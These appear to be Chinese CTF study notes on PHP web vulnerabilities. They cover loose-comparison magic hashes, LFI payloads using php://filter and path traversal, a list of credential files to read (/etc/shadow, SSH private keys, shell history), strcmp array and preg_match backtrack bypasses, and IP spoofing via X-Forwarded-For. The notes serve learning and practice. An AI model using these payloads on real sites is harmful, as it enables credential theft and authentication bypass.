PHP弱类型比较
1.在PHP中, 0ed+ 类型的数字,==会认为该值为1(我猜是PHP把它看做是0的幂吧)。以下是几个弱类型匹配项:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
2. 在PHP中,==会认为 字符串型数字和整数型数字等价的,因此返回1。这也是为什么有 === 的原因了吧。
如
<?php
54975581388==0xCCCCCCCCC //True
//此时的0xCCCCCCCCC又可看做是字符串
?>
PHP函数漏洞
include 函数漏洞(LFI):
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
通过观察url来猜测文件包含(include)形式,可像下列这样来读取本地文件(是不是SSRF?)
index.php?pages=php://filter/read=convert.base64-encode/resource=config
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
//这样读取的文件显示的是Base64编码后的字符
LFI可以:
目录遍历:
index.php?file=../../../../../../../../../var/lib/locate.db
index.php?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中这两个文件储存着所有文件的路径,需要root权限)
获取web目录或者其他配置文件:
index.php?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
如果拥有root权限还可以试试读这些东西
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.
extract()函数漏洞—-变量覆盖:
extract():从数组中将变量导入到当前的符号表(数组)。若有extract($_POST)
则可以通过提交一个原来已定义的变量相同的文件名,就可以实现变量覆盖。
strcmp()漏洞—-数组替代字符串:
适用于5.3之前版本的php。
strcmp(string $str1 , string $str2 )
它的作用是比较两个字符串(长度??)。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
但是,当像这个函数传入一个数组时,PHP会报错同时返回0!即逻辑上认为两个参数相等。
当出现 :
if (strcmp($_POST['password'], $password) == 0)
就可以POST一个数组来绕过验证。(其实题目已经有一个很明显的提示了)
strpos()
strpos(string $str1 , string $str2)
它也有传入一个数组返回0的问题。(有可能这些字符串比较都有这个问题?)
正则匹配漏洞:
ereg():
这个函数存在 空字节 /0 %00 截断的问题
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
当password变量包含空字节时,ereg()函数就会停止匹配,然后做出判断。
preg_match():
这个函数虽然解决了空字节00截断的问题
preg_match('/Merry.*Christmas/is',$greeting);
但是当待匹配的参数超过了 函数的回溯长度 限制,preg_match() 就会返回 False。可以通过发送超长的字符串来绕过验证,另外,还可以在未限定字符首尾的情况下,绕过验证。
通过HTTP头伪造来源IP
X-forwarded-for:127.0.0.1
Client-IP:127.0.0.1
Linux基础知识
在“~/.bash_history”(“~/”表示用户目录)文件中保存了500条使用过的命令
即用 history 命令查看的东西
vi在编辑时会同时生成一个备份文件 ./<filename>.swp 当正常退出vi时,vi会删除这个文件。
Tips
1.burpsuite 发POST包不对劲,也可以用Firefox的Hackbar插件。
2.在用get方式提交参数时,试试将标点,参数值都 encode URL 试试!
3.上传题可尝试改请求头上传目录,尝试大写,双写